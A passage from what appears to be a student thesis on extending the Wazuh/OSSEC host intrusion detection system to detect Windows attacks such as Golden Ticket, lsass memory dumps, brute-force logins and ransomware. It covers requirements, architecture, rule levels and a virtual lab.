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Cybersecurity nowadays is very complex: there are many sub-fields and expert
tools and it could be argued that it is impossible to guarantee that any system is
totally safe. In this project we put ourselves in the shoes of a system administra-
tor for an enterprise, that wants to improve the security by detecting intrusions
in the servers he works on. This is key to decide which technologies and tools we
choose in this project.
Cybersecurity measures can be applied in multiple layers of the system, each
with different tools, objectives, advantages and costs. In general the security of
a system can be divided into the next parts:
1. Firewall: Control the inbound/outbound connections, on the network
layer. In our scenario its objective is to reduce the amount of inbound
connections, reducing the chance of intrusion.
2. IPS: Intrusion Prevention System to minimize the chance of intrusions, on
the network and host layers. Provides active protection by actions.
3. IDS: Intrusion Detection System to mitigate the damage of intrusions, on
the network and host layers. Provides passive protection by alerts.
The next table shows a simplified flow on how the information is processed by
the security layers and methods. For example an IDS can monitor the network
connections, scanning the whole packet (header and payload) and filing a report
if needed, but has worse performance than a firewall because they only scan the
header of the packet and just opt to reject them[1]. IDS fall into the SIEM
category: software that manages information and events in real-time.
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Table 1.1: Simplification of the data flow
Layer Network Network and Host
Method Firewall IPS IDS
Measures Prevent Prevent Mitigate
Direction of the data flow−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−→
An IDS that focus on network monitoring is a NIDS. They have become widely
used over the past two decades because of the impressive capability to provide a
granular view of what is happening on the network.
Attackers have grown used to NIDSs and have found ways to evade them, like[2]:
1. Avoid using known patterns in their connections.
2. Use encrypted connections.
3. Send the data in pieces across the network. This does not work against
NIDSs that can reassemble them, at a greater computing cost.
4. Denial of Service attacks: too much traffic overloads the NIDS, blinding it.
We understand that NIDSs are useful in many situations, and there are many
cases in this project where they could be used to complement an HIDS (Host-
based IDS). An HIDS can inspect the full stream of communications, making
useless the techniques 2 and 3 in the previous example for evading NIDSs.
We focus on HIDS because we are more interested about detection at host level,
rather than network. Also IDS is less explored than IPS or firewalls and due to
the advance in gathering and processing of data in the last years IDS has become
much more viable and reliable.
IDSs are different from antivirus or antimalware because the first are systems
specialized in detection and the latter usually focus on prevention, however
prevention and detection are often meshed together because both are deeply re-
lated. There are some cases where a system specialized in detection offers some
kind of mitigation functionality or one specialized in prevention offers some kind
of detection functionality.
It is important to note that in cybersecurity the trend is for the attack to be
created first and later some kind of measures, not necessarily by the same teams
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as they usually are specialized in each role. This means that defensive security
that requires manual intervention often lags behind.
Nowadays there are lots of different attacks, so many that their detection could
be almost impossible one by one, but most of them can be detected because they
share patterns. If we can determine the patterns of an attack and code a way to
detect them we can detect the threat. Some times it is easier to detect the attack
and take measures after the intrusion has taken place.
IDSs work by analysing the key information available (programs, logs, network
information, etc) to determine if there has been an intrusion in the system. The
details of the process vary with each IDS but in general they work like an expert
system:
• The source of the data is the system.
• The alerts are set by certain rules when they match.
• Rules do not need to throw an alert and there can be dependencies, allowing
a stateful approach and complex analysis without false positives (the main
annoyance of IDSs).
There are two types of IDS, based on the detection mechanism:
• Signature based: The IDS looks for specific data (signature), for example
a string. This is often an efficient solution to known attacks, but is funda-
mentally useless against unknown attacks (attacks without a signature in
the IDS database).
• Behaviour analysis: After a training period the IDS can detect when an
event is rare (by probability) and correlate these suspicious occurrences to
an intrusion.
In our case we take interest in the signature approach because it is much more
used and behaviour analysis is more fit for networks than for hosts. Abnormal
or suspicious behaviour is called noise in cybersecurity jargon.
OSSEC is an HIDS solution with detection based on rules and decoders. Both
rules and decoders can be defined with numerous options and support dependen-
cies and regular expressions.
• The decoders format the data for the rules.
• There is a threat if the conditions of the rule are met.
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OSSEC stands for Open Source HIDS SECurity and is interesting for this
project because[3][4]:
• Widely Used: OSSEC is a growing project, used by many different entities
(ISPs, universities, governments, large corporate data centers) as their main
HIDS solution. In addition to being deployed as an HIDS, it is commonly
used strictly as a log analysis tool, monitoring and analyzing firewalls, IDSs,
web servers and authentication logs.
• Scalable: Because it is an HIDS and it uses agents. Each monitored host
can either install the agent or use an agentless agent[5][6]. Agentless agents
are processes initiated from the OSSEC manager, which gather information
from remote systems, and use any RPC method (e.g. SSH, SNMP, RDP,
WMI).
• Multi-platform: GNU/Linux, Windows, Mac OS and Solaris. This is
important because most professional services are on GNU/Linux or Win-
dows, but it is important to note that some rules can only work for certain
versions of operating systems.
• Free: OSSEC is a free software and will remain so in the future; you can
redistribute it and/or modify it under the terms of the GNU General Public
License (version 2) as published by the FSF – Free Software Foundation.
• Open source: The code is open, so you can read, contribute and debug it
all you want.
• Rootkits detection: This type of malware usually replaces or changes
existing operating system components in order to alter the behaviour of
the system. Rootkits can hide other processes, files or network connections
like itself.
• File integrity monitoring: To detect access or changes to sensitive data.
There are lots of alternatives to OSSEC for the scenario of a system administrator
that wants to reinforce the security of the systems he is responsible for. There
exist free of charge and paid solutions. Not all are pure IDSs and often they
specialize in a field. For example the next table shows a comparison of the most
important ICSs (Industrial Control Systems), which is a genetic type of control
system that includes IDS, therefore it shows a comparison of OSSEC with similar
software:
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Figure 1.1: Comparison by attributes of the most important ICSs[7]
One of the problems of a comparison in a table like this is that it fails to show
how much a tool excels or lacks in the features it shares with others, how easy
it is to use and other factors that can help to choose the right tool. The most
relevant alternative technologies to OSSEC for this project are[8]:
• Sagan: An open source HIDS, but it only supports *nix operating sys-
tems (Linux, FreeBSD, OpenBSD, etc) and it lacks in features compared
to OSSEC.
• YARA: It is not an IDS or IPS, it is just a tool that does pattern/string/sig-
nature matching, but it excels at it in performance, results and easiness to
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write the rules. It can be used to scan the memory for known patterns.
YARA is being used widely in cybersecurity, for example by Avast, Kasper-
sky Lab, VirusTotal and McAfee Advanced Threat Defense[9]. We could
build a system to use YARA to scan files but always combined with at least
another tool, but we prefer to stick to a tested IDS.
Due to their popularity it is worth mentioning the next tools, even though they
are only for network:
• Bro: It is an open source IDS and supports only Linux, FreeBSD, and Mac
OS.
• Snort: It is the most popular open source IDS/IPS, but can be expensive
in processing power.
• Suricata: Another open source IDS/IPS solution. It provides hardware
acceleration and multi-threading to improve the scanning speed.
Most of the attributes in the previous comparison are not relevant for our work.
We chose OSSEC because of the problems found on the alternatives. Also OSSEC
offers a reliable way to use an already developed and thoroughly tested IDS, which
we can enhance to our needs without much work. To even ease more this we will
use Wazuh, a fork of OSSEC.
1.2 Objectives
Quality is valued more than quantity in this project. Therefore anything will be
reworked or discarded if it does not fully satisfy the student or the directors.
The main objective is to improve intrusion detection in IDS. This can be accom-
plished in several ways adding or changing functionality of an already existing
technology.
• Coding on core or additions.
• Configuration or input of the program.
In this project the focus is on the configuration, particularly of rules to detect
certain attacks. The idea is adding functionality to Wazuh by setting certain
configuration (including scripts and third-party programs) that allows us to de-
ploy new or different detection mechanisms.
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It is necessary to fully understand the attacks first to code their detection, there-
fore preparing the attacks also will need a fair amount of time. It is important to
explain the attacks and their detection clearly, in order to make this work useful
for anyone else and ease any possible changes in the future.
The work done in this project improves the detection capabilities in cyberse-
curity in the SIEM Wazuh. This allows small, medium and big enterprises to
increase their level of security control on cyberattacks on their network.
1.3 Structure of this document
This document has 7 chapters:
• In chapter 1 the project is introduced, explaining its motivation and ob-
jectives. Some key concepts are also explained in this chapter.
• Chapter 2 explains the requirements and limitations of the project.
• In chapter 3 there is a detailed explanation of the technologies and tools
used in the project, expanding on the concepts from the first chapter.
• In chapter 4 there is the management of the project, including: scope,
risk, configuration, cost and time management.
• In chapter 5 the process of the increments 1 and 2 is detailed. This chapter
satisfies multiple essential requirements.
• In chapter 6 the process of the increment 3 is detailed. This chapter
satisfies multiple essential requirements.
• Chapter 7 describes the conclusions of the project and different ways to
continue its work.
As additions there are several appendixes:
• Glossary: It serves as a list of terms that are relevant for the domain of
this project, including acronyms.
• User manual: Used to explain the details that are only needed for those
who want to use the system.
• Programming and configuration code: In order to explain the details
of certain key parts of the project that are deeply related to configuration
or scripts.
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Chapter 2
Requirements
The requirement specification is a full description of the software the project is to
develop. PMBOK[10] states that requirements are conditions or capabilities that
a product must meet to satisfy the contract. The requirements expose the needs
of the client, which have to be accomplished to finish the project successfully.
The client of the project is Tarlogic.
Depending of their type they can describe features, data, relations, properties or
any details necessary to explain the system without ambiguity, in a way it can
be easily understood.
2.1 Limitations
This project is not about software development, it is about cybersecurity research
and auditing.
Even though there is some basic creation of rules and scripts they can not be
seriously considered as software development. All these cases are very straight-
forward and they have one or two actors at most. Most of them are so simple
that there are basically no other ways to write them.
In this project there are no tests in the way a traditional project for software
development would have. The closest thing are the Wazuh rules, being their trig-
ger considered a success and either the opposite or any false positives considered
a failure.
The requirement specification is simplified:
• Use cases: A use case is a description of all the ways an end-user wants to
use a system. These uses are like requests of the system, and use cases de-
scribe what that system does in response to such requests. In other words,
use cases describe the conversation between a system and its user(s), known
9
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as actors. Although the system is usually automated (such as an Order sys-
tem), use cases also apply to equipment, devices, or business processes[11].
It does not make sense to have them for this project because the software
is too straightforward to have different ways to be used.
• Actors: There is no need due to the software being just an one way auto-
mated interaction.
• Functional requirements: They describe the specifics about the func-
tionality the system needs to have. There could be functional requirements,
but in most cases they would be almost the same as the rules or scripts they
try to describe, making them pointless.
• Traceability matrix: Shows the relationship between use cases and func-
tional requirements, therefore if there are none of either type there is no
meaning to having this matrix.
• Non-functional requirements: They describe requirements that the sys-
tem needs, but that are not functional requirements. They can help in this
project precisely because it is not about functionality development. These
are the requirements this project has.
2.2 Non-functional requirements
There was a meeting with Tarlogic before the beginning of the project were the
requirements were set. The requirements were classified by priority into these
categories:
• Essential: Those that are mandatory for the project to be considered suc-
cessful.
• Desired: They would be completed if there are enough resources.
• Optional: A level of priority under desired, meaning that they would be
worked on after them.
Later the student grouped them into increments, some of which are essential.
These requirements could be expanded and more could be added during the
project if it were to be needed, which did not happen.
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2.2.1 Identification of non-functional requirements
Identifier Name
RNF-01 Detection of the Golden Ticket attack
RNF-02 Detection of memory dumps for lsass.exe
RNF-03 Detection of distributed brute force login attempts
RNF-04 Detection of reverse brute force login attempts
RNF-05 Detection of login outside of usual hours
RNF-06 Monitoring of trap files in a file server
RNF-07 Detection of backdoors
RNF-08 Use Sysmon to gather system’s data in real time
RNF-09 Detection of cryptolocker
RNF-10 Configuration profiles
RNF-11 Use of honeypots with Wazuh
RNF-12 Explore solutions with GPDR
RNF-13 Modification of key files in Linux
RNF-14 Integration of Wazuh with other programs
Table 2.1: List of the non-functional requirements of the project
2.2.2 Description of non-functional requirements
Identifier RNF-01
Name Detection of the Golden Ticket attack
Description Study of the Golden Ticket attack in Windows. Coding of dif-
ferent ways to do the attack and close examination of the data
received by Wazuh. Research about ways to identify the attack
and each of its forms. Coding and testing of detection techniques.
Priority Essential
Validation Every variant of the Golden Ticket attack in the project is iden-
tified as such by a rule
Identifier RNF-02
Name Detection of memory dumps for lsass.exe
Description Study of the different ways to extract credentials related to this
process. Coding of different approaches to reproduce it and com-
parison of the received events. Find ways to assure their detec-
tion with Wazuh and test them properly.
Priority Essential
Validation All the examples presented of ways to dump the memory of
lsass.exe get detected with at least one of the methods
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Identifier RNF-03
Name Detection of distributed brute force login attempts
Description The idea is to identify from Windows security events when a
network is being attacked through login attempts, but changing
his IP every few seconds (to avoid being banned). For example
an alert would trigger with at least 5 attempts in 5 minutes, 20
attempts in 30 minutes or 200 attempts in 180 minutes.
Priority Essential
Validation Every one of the scripts for this attack are detected, triggering
alerts.
Identifier RNF-04
Name Detection of reverse brute force login attempts
Description Multiple login attempts are made from the same IP to different
accounts. For example it would be noticed with at least 3 at-
tempts in 10 seconds, 12 attempts in 1 minute or 120 attempts in
1 hour. The data source for Wazuh would be Windows security
events.
Priority Essential
Validation Any of the scripts used to reproduce the attack trigger an alert.
Identifier RNF-05
Name Detection of login outside of usual hours
Description The first step would be to specify the Organizational Units and
their logon time ranges. Then set rules in Wazuh to guarantee
any logging outside of them would trigger an alert and personal
messages to the person in charge of the unit, or any other re-
quired action.
This and the previous requirements are part of the first incre-
ment.
Priority Essential
Validation Any logins or failures outside the allowed hours trigger alerts,
sending a message to the Organizational Unit coordinator
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Identifier RNF-06
Name Monitoring of trap files in a file server
Description Certain files are monitored in a Windows file server, for example
in a hidden folder, in an attempt to detect attackers interested
in them. This is a honeypot like method but only with files.
This could fit in several increments as a bonus to improve other
requirements.
Priority Desired
Validation The attempts to access the files are detected, triggering alerts
Identifier RNF-07
Name Detection of backdoors
Description A backdoor is a change or a program in the system to allow
easy access to an attacker. The fist step would be to research
about techniques to set backdoors in Windows Server and how to
detect them. Later a testing stage has to assure they are actually
noticed by our rules in Wazuh. This could turn to be a very big
and time consuming requirement to implement, therefore it is not
essential. It is very related to the attacks in the first increment,
so it makes sense for it to be there too.
Priority Desired
Validation The studied exploits for setting backdoors are detected and
stopped (if possible) by Wazuh
Identifier RNF-08
Name Use Sysmon to gather system’s data in real time
Description A brief research on Sysmon would be followed by its implemen-
tation and testing. This is the most part of the increment two.
Priority Essential
Validation Sysmon events are created when expected and they reach Wazuh
in a reliable manner
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Identifier RNF-09
Name Detection of cryptolocker
Description Research about ransomware and reproducing it in a local en-
vironment are key to guarantee its detection. This would be
particularly interesting in the file server, a more likely target for
this kind of attack. This requirement is covered in the third
increment.
Priority Essential
Validation Studied cryptolocker patterns and tools get detected and stopped
(if possible) by Wazuh
Identifier RNF-10
Name Configuration profiles
Description Sets of configuration for Wazuh and related tools like Sysmon
are created for different enterprise profiles, aiming to offer out
of the box threat detection in different degrees. One of the keys
would be to identify the security priorities of enterprises. This
requirement constitutes the whole increment four.
Priority Desired
Validation Each of the profiles works as expected
Identifier RNF-11
Name Use of honeypots with Wazuh
Description A server is set as a honeypot, making it easier for the attacker to
access it and obtain data. This should not take much time and
could be part of any increment.
Priority Desired
Validation The access to the honeypot is identified by direct or indirect
monitoring (data only in the honeypot is used elsewhere)
Identifier RNF-12
Name Explore solutions with GPDR
Description The GPDR is a regulation on data protection and privacy. The
functionality in Wazuh to assure the GPDR would be the core
to the fifth increment.
Priority Desired
Validation Any modification or unauthorized access of the monitored files
gets detected by the agent, triggering the corresponding alert
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Identifier RNF-13
Name Modification of key files in Linux
Description Wazuh has a method which compares the hash of the file with the
value it should have, that could be used for this case. The moni-
tored files would probably need administrator privileges, making
it easier for detection. This is the core of the sixth increment.
Priority Desired
Validation Any modification of the monitored files gets detected by the
agent, triggering the corresponding alert
Identifier RNF-14
Name Integration of Wazuh with other programs
Description The necessary development for this integration to be possible
with software that is not supported at the moment. The testing
period would probably be a bit longer than usual because it
would involve new programs. The seventh increment is based on
this.
Priority Optional
Validation Assure the data from the integrated program reaches Wazuh and
the alerts only get triggered when they should
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Chapter 3
Technologies and tools
3.1 OSSEC and Wazuh
3.1.1 Introduction
Wazuh is a fork of OSSEC. It adds a RESTFul API, has a more updated ruleset
and is easier to install (providing ELK over OSSEC).
We will use OSSEC through Wazuh to code rules and decoders, without the need
to change any code of the program itself. This means this project can focus
directly on detection without the need to create a full system from scratch.
In short Wazuh is the HIDS used in this project to detect and in some cases act
against suspicious threats.
Figure 3.1: The different parts of Wazuh[12]
The most interesting qualities of Wazuh for this project are[13][14]:
• Rootkits detection: Rootkits are commonly used after an attack has
succeeded to use the computer of the victim leaving no traces.
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• File integrity monitoring: It can provide detection of intrusions by iden-
tifying changes in content, permissions, ownership, and attributes on the
monitored files. It can be used to comply with GDPR (General Data Pro-
tection Regulation).
• Scalability and multi-platform: This means that the work on this
project could really be used in real work environments.
• Configuration management: The configuration is managed by the Wazuh
server (Wazuh manager) and the agents can be grouped, allowing custom,
group or global gathering and detection for each agent.
• Multiple sources of data: The scanned data can be from logs, output of
commands or databases.
• Active response: Automated remediation to security violations and threats,
to mitigate more the possible damage. For example to stop the Internet
connection to isolate a compromised system.
• Improved ruleset: It is the combination of rules and decoders. Having
this ruleset out of the box reduces the workload of this project. It can also
serve as reference and complement some of the rules and decoders that this
project intends to work on.
• Open source, free and easy to contribute to: This is optional but nice,
as it offers a chance to an inexperienced student to contribute in a real and
useful project. The project is hosted on Github and Google Groups.
The RESTFul API interacts using OSSEC commands and would be interesting
if this project were related to a tool issuing queries to Wazuh, but this is not the
case. Anyway it is still something valuable to have as these kind of tools are very
common nowadays.
Wazuh provides support and integration with multiple important tools and tech-
nologies:
• Docker container for OSSEC: An ossec-server image with the ability to
separate the ossec configuration/data from the container.
• Puppet and Ansible: For massive deployment. This can be very helpful to
setup a big environment mostly because even if it is not necessary to put
configuration files in the agents for Wazuh often it is necessary to configure
other things and the process of registering agents can be tedious manually.
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• Network IDS integration: Gives the option to use OwlH and integrate Suri-
cata and Bro to generate alerts in Wazuh.
• VirusTotal: A free virus, malware and URL online scanning service that
combines more than 40 antivirus solutions.
• OSQuery: Osquery can be used to expose an operating system as a high-
performance relational database. This allows you to write SQL-based queries
to explore operating system data.
The use of these tools depends on the scenario, but we only take interest in Virus-
Total and Network integration. They can work as secondary detection methods
for the most critical or complicated cases.
3.1.2 Wazuh architecture
A basic Wazuh setup has the next components[15]:
• Wazuh server: Runs the Wazuh manager, API and Filebeat (Filebeat is
only necessary in distributed architectures). It collects and analyzes data
from deployed agents.
• ELK stack: It reads, parses, indexes, and stores alert data generated by
the Wazuh server. The ELK stack is flexible, highly configurable and very
used in big data.
• Wazuh agent: Runs on the monitored host, collecting system log and config-
uration data and detecting intrusions and anomalies. It communicates with
the Wazuh server, to which it forwards collected data for further analysis.
The main difference with the architecture of OSSEC is the ELK stack, because
OSSEC leaves the choice of tools to the user. ELK stands for the combination
of:
• Elasticsearch: Gets the data and allows search queries and analysis.
• Logstash: Transforms the data to the desired format. This step can make
alike data from different log and output formats, trivializing the decoders
work.
• Kibana: Shows the data in a web browser, with graphs and options like
grouping and time interval. This is often easier than to write commands to
scan the OSSEC log in the Wazuh server.
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There are two possible architectures for this setup: having the ELK stack in
the same machine as the Wazuh server (single host) or in a separated one (dis-
tributed). Each has advantages and disadvantages and in this project we will use
the single host because in our case there are no constraints and it is easier to set
up and more efficient.
Figure 3.2: Single host architecture
Figure 3.3: Distributed architecture
To understand better the communications and data flow in Wazuh we will now
get into more detail on the process[16][17].
Wazuh agents use the OSSEC message protocol to send collected events to the
Wazuh server over port 1514 (UDP or TCP). The Wazuh server then decodes
and rule-checks the received events with the analysis engine. Events that trip a
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rule are augmented with alert data such as rule ID and rule name. The Wazuh
message protocol uses a 192-bit Blowfish encryption with a full 16-round imple-
mentation, or AES encryption with 128 bits per block and 256-bit keys.
Logstash formats the incoming data and optionally enriches it with GeoIP in-
formation before sending it to Elasticsearch (port 9200/TCP). Once the data is
indexed into Elasticsearch, Kibana (port 5601/TCP) is used to mine and visual-
ize the information.
The Wazuh App runs inside Kibana constantly querying the RESTful API (port
55000/TCP on the Wazuh manager) in order to display configuration and sta-
tus related information of the server and agents, as well to restart agents when
desired. This communication is encrypted with TLS and authenticated with
username and password.
Figure 3.4: Communications and data flow
Both alerts and non-alert events are stored in files on the Wazuh server in addition
to being sent to Elasticsearch. These files can be written in JSON format and/or
in plain text format (.log, with no decoded fields but more compact). These files
are daily compressed and signed using MD5 and SHA1 checksums. There is also
the option to store the alerts in a database if OSSEC is compiled with database
support (for example MySQL or PostgreSQL)[2].
3.1.3 Rules and decoders
They constitute the main part of this project and they can be used to detect
application or system errors, misconfigurations, attempted and/or successful ma-
licious activities, policy violations and a variety of other security and operational
issues[13]. Wazuh is quite helpful with the features and documentation of the
ruleset and in this project the already existing rules and decoders were a great
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help as examples.
From the previous figure, the elements immediately related to the ruleset are:
When an event is received in the manager first it gets decoded. The process of
predecoding is very simple and is meant to extract only static information from
well-known fields of an event. Decoding is used for extracting the data that is
not static, making it easier to create rules for it.
Figure 3.5: Event Flow Diagram[2]
At least a rule in the hierarchy has to be related to the decoder of the event for
it to be able to trigger an alert. An alert is generated if the conditions of the rule
are true.
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When alerts are triggered they are recorded into the log, and also can be stored
in a database, send e-mails and execute commands[2].
There are two types of rules[2]:
• Atomic: They are based on simple events, without any correlation. They
are by far the most used.
• Composite: Those with multiple events. They have a time window and a
number of times the rule has to be true before triggering the alert. They can
group multiple atomic rules, all of which have to be true for the composite
rule to be true.
The level parameter of the rule marks the severity of the alert. These are some
examples[2]:
• 0: Ignored, no action taken. Primarily used to avoid false positives. These
rules are scanned before all the others and include events with no security
relevance.
• 1: They are like 0, but for composite rules. Atomic rules for composite
rules need to be of level 1 to be used by composite rules and not generate
any alert on their own.
• 2: System low priority notifications or status messages that have no security
relevance.
• 3: Successful/authorized events. Successful login attempts, firewall allow
events, etc.
• 4: System low priority errors. Errors related to bad configurations or unused
devices/applications.
• 5: User-generated errors. Missed passwords, denied actions, etc. These
messages typically have no security relevance.
• 6: Low relevance attacks. Indicate a worm or a virus that provide no threat
to the system such as a Windows worm attacking a Linux server. They also
include frequently triggered IDS events and common error events.
In this project the same level is used for all the rules that are meant to trigger
alerts, to keep it simple.
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Rules can be added in /var/ossec/etc/rules/ and decoders in /var/ossec/etc/de-
coders/ without any issue, but to change the already existing ones in /var/ossec/rule-
set/rules/ or /var/ossec/ruleset/decoders/ is a bad idea because the next changes
in those files from updates would overwrite them.
As mentioned before Wazuh adds its own ruleset over the one provided by the
OSSEC project. The next table shows about 20% of the combined ruleset that
Wazuh uses, where Out of the box means that the source was the OSSEC project.
Figure 3.6: Portion of the ruleset used by Wazuh[18]
Wazuh provides a way to manually test how an event is decoded and if an alert
is generated with the tool /var/ossec/bin/ossec-logtest [19], which is very useful
for debugging. To use it you only need to introduce the data as it would be
received by the Wazuh manager. It is possible to show which rules are tried and
which trigger an alert for each event. This tools does not need a restart of the
wazuh-manager service whenever changes want to be tested because it reads the
configuration directly.
But is also worth to mention that some times it can be misleading because it does
not work in the same way as the manager. For example the logtest may show that
the log matches a certain rule but actually it has matched a previous one silently.
For example for this input:
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We get the next output:
Figure 3.7: Example of output for ossec-logtest
This example shows how Wazuh processes the input text, that usually would be
in a SSH event. The decoder sshd matches the format of the input text, and
that it is able to extract the dstuser and srcip fields. Then the event is processed
by the set of rules until it matches the conditions of the rule 5715, which should
generate an alert.
After version 3.0.0 (we are currently in 3.9) Wazuh incorporates an integrated
decoder for JSON logs enabling the extraction of data from any source in this
format. This can be very useful in many situations, for example trivializing the
generation of alerts for programs reporting in JSON, without the need for a de-
coder for each one[20].
Another interesting feature is to check if a field extracted during the decoding
phase is in a CDB list (constant database). The main use case of this feature is
to create a white/black list of users, IPs or domain names.[21].
3.2 Laboratory
This project was run under a GNU/Linux distribution in one of the personal
computers of the student. Said computer has 20GB of RAM, an i5-2500k pro-
cessor and about 500GB of free disk storage for this project (of which 100GB
were of Solid State Disk).
Hosting services were considered but discarded, because their biggest advantage
would be to be able to work on this project anywhere (since the only user is the
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student). This is something that can be achieved in a home computer with port
redirection and either knowing the external IP of the router or using a naming
service, but in this case there was no need to connect from the outside.
3.2.1 Virtual machines
VirtualBox was chosen as the host program of the virtual machines because it
was the one the student had the most experience with.
This laboratory consist of multiple virtual machines, that represent:
• An enterprise domain of Windows computers, named Wazuh.local, man-
aged by Windows’ Active Directory:
– Windows Server 2019, as Domain Controller of the Active Directory.
– Windows Server 2019, as a SMB file server.
– Windows 10, as a basic workstation.
• The Wazuh server: A CentOS 7. As mentioned before in 3.1.2, we are using
a single server to host both the Wazuh manager and the ELK stack.
• An offensive security box: In this case with Kali Linux. This is used to
access the Windows boxes in some of the attacks.
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Figure 3.8: Virtual machines in the project
Every machine has two network interfaces, one for the internal network (10.0.3.0)
and another for accessing the internet connection of the host. Each of the Win-
dows boxes have a Wazuh agent installed, that reports to their manager (server)
in the CentOS box. All the ruleset changes and log processing was done directly
on the CentOS machine.
Most of the time only the DC and the CentOS machine were powered on, but
when all of them were being used at the same time they consumed about 12GB
of RAM. Leaving aside booting, they did not affect performance in a perceptible
way, either one to each other or to the host.
Snapshots were taken when significant changes were made, like relevant instal-
lation or configuration. Then the virtual machines with their snapshots were
copied to a couple of external disks as backup. At the end of the project near 60
snapshots were taken and the virtual machines with their snapshots were using
about 160GB of disk space.
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3.3 Technologies and tools in detail
This section groups and explains the main software used in the project for an
easier overview.
3.3.1 For development and configuration
• Wazuh: Wazuh[22] is the core of this project and some of the configuration
of the system had to be done with it. In this project ruleset files were
created to detect the targeted threats.
• Sysmon: Sysmon[23] reports events based on its configuration, which in
most cases give more insight of the status of the system than normal Win-
dows events.
• PowerShell: Some basic scripting[24] was done in PowerShell to mimic at-
tacks and to perform a particular detection with a remote command.
3.3.2 For pentesting
• PowerShell scripts: Third-party tools written in PowerShell were used to
mimic attacks.
• PowerShell and Windows built-ins: Some harmless PowerShell commands
were used in combination with Windows built-ins in order to extract useful
data for an attacker.
• Linux shell programs in GNU/Linux: They were used in order to fully
understand how some of the security was implemented in the Windows
systems. For example their network share was first tested with the Samba
command smbclient.
• Metasploit: It was used as framework[25] for getting information and to
exploit security vulnerabilities, mimicking an attacker.
• Mimikatz: Mimikatz[26] was one of the most used tools for extracting data
and gaining privileges.
• Other third-party tools were used to dump data from memory or extract
credentials. They were only used in order to gather enough data to assure
the identification of attack patterns from different sources.
• OpenSSL[27]: Set of tools for secure communications. In this project it was
used to encrypt files for crypto ransomware testing.
• Trid[28]: It is a tool for scanning files in order to find their type.
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• Dharma[29]: It is a crypto ransomware malware that was executed in order
to test the configuration against a real software.
3.3.3 For processing logs
• The Kibana plugin for Wazuh: It provides an easy and fashionable way to
show the triggered alerts with a web browser. It was only used at first,
before it felt too slow and shallow.
• Linux shell programs in GNU/Linux: The most used were Grep, AWK and
Tmux. They were used to process the logs of Wazuh for most of the project.
These logs include the received events and the triggered alerts. They were a
good fit because they are easy to write commands on, they are fast and the
queries needed for this project were quite simple. Grep was used for finding
events with certain patterns. AWK to parse logs for easier comprehension.
Tmux is a terminal multiplexer, which is basically a program that controls
a bunch of terminals, and was used to manage the shells and to find and
copy strings in them, similar to an Integrated Development Environment
(IDE).
• The Windows Event Viewer: To troubleshoot inspecting the logs generated
from Sysmon. Some times under heavy load (particularly after booting) the
agent could not send the data to the manager without a significant delay
of a couple of minutes.
3.3.4 For the documentation
• Git: It was used to store the memory and manage its changes, through a
Github repository[24].
• Vim + LATEX+ Latexmk: Vim was used as the text editor to write all the
documentation and most of the ruleset and scripts. This was easier for me
than using other editors because I have a fair amount of customization for
Vim, in my general purpose dotfiles[30]. LATEXwas the medium the memory
was written in (including the WBS and Gantt diagrams), with Latexmk for
its compilation.
• Draw.io: A web application for general purpose drawing[31]. It was used
for making diagrams in this project.
• Simplescreenrecorder: It is a GNU/Linux program. It was used to record
videos during critical tasks using the virtual machines. These serve just as
a way to assure the student these tasks were done exactly as he remembers
them, or how to reproduce them. They did not take much disk space (about
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∼110MB per hour) while still having decent image quality. The recording
settings were 15 frames per second and h264 codec with a constant rate
factor of 32.
• Linux shell programs: Some simple commands to make sure no minor ele-
ments are forgotten. For example that all references and images are used,
and that any relevant acronyms are explained in the glossary.
• Aspell: It is a spell checker[32], this is a program for reviewing that words
are written correctly in the specified language. This program has a mode for
LATEXthat ignores its commands without the need of a special dictionary.
Chapter 4
Project management
A project is temporary in that it has a defined beginning and end in time, and
therefore defined scope and resources. And a project is unique in that it is not
a routine operation, but a specific set of operations designed to accomplish a
singular goal.
Project management, is the application of knowledge, skills, tools, and techniques
to project activities to meet the project requirements[33]. It is important to note
that the actions on each area of the project may affect other areas, increasing the
difficulty of the management.
4.1 Scope management
The management of the scope of the project has the necessary processes to guar-
antee that the objectives are met. The scope management allows the project
to start focused in what really matters, not losing time in irrelevant details or
desirable additions that can not be implemented, by identifying and describing
the necessary tasks.
4.1.1 Description of the scope
This project tries to improve the detection of intrusions with the already existing
HIDS Wazuh. This kind of objective can be accomplished by very different ap-
proaches. This is because the software can be used in many scenarios, it is very
related to other software and it is in active development.
Even though some tasks can be considered difficult due to the amount of new
technologies and tools there should be no problem to meet the basic objectives.
This is because we have the freedom to adapt the scope at any time and
there is more than enough time for the essential parts of the project.
From before the start of the project the was some freedom on how to handle
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the requirements, as long as the essential ones were fulfilled. This uncertainty
has been reduced with planning and research for the pre-project documentation,
but is still something to take in mind in the management of the project.
4.1.2 Acceptation criteria
In order for the product to be accepted the essential requirements need to have
been accomplished before the time limit of the project. The rest of the require-
ments will be implemented if there is enough time left.
In this project the requirements will be fulfilled in multiple stages along the
project, with increments. Using increments fits the project because the software
developed is very simple and it allows a modular management of the requirements.
4.1.3 Methodology
The methodology of the project sets how the project will be developed over time,
defining its life cycle. Every methodology has its pros and cons, and a wrong
choice or execution can lead to delays and additional costs.
This project is not about software development, therefore the choice for a develop-
ment methodology should not affect it as much. But because these methodologies
are not only about writing code, they also include study and testing, it is still
one of the most important choices for the project.
First it was decided to use a traditional methodology instead of agile because:
• The documentation is essential for this project.
• It would not benefit much from agile development because there is almost
no code.
• The project is low risk.
• The requirements were unlikely to evolve at the beginning of the project.
• There was no need for anyone but the student to know the exact status of
the project at any time. E-mails, direct messages, meetings and checking
the Git repository could still be used, but there was no need to have a
periodic report.
The second choice was to choose a model among Waterfall, Spiral and Iterative
and Incremental. Probably any of them would have been fine, but Iterative and
Incremental was chosen because its simplicity (like Waterfall and unlike Spiral)
and because it provided more freedom to make changes than Waterfall.
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This life cycle allows the student to focus on the objectives of the project with
minimal overhead. It is based on the idea of having a Waterfall model for each
increment (with as shared phases as possible). The Waterfall model is a linear
sequential flow of phases planned from the start, where each phase starts as soon
as the previous ends: requirements, design, execution, testing and release.
First the project needs an analysis of the requirements, which usually would
be followed by the design phase, but in this case there is no point in designing
software as simple as this. This analysis is shared for all the increments and each
increment satisfies certain requirements.
In the implementation of this life cycle the codification is much shorter and the
preliminary study is much longer than usual.
The Incremental model also fits nicely with the idea of researching different inter-
connected cases as it happens in this project and possible changes to the scope.
The draft and the WBS were done with increments in mind, and from the start
it was decided to have more increments than it was probably possible to do in
the project hours, just in case the estimation from the student was too lenient.
Therefore the project seeks for the realization of as much increments as possible,
always including the essential increments.
4.1.4 Increments
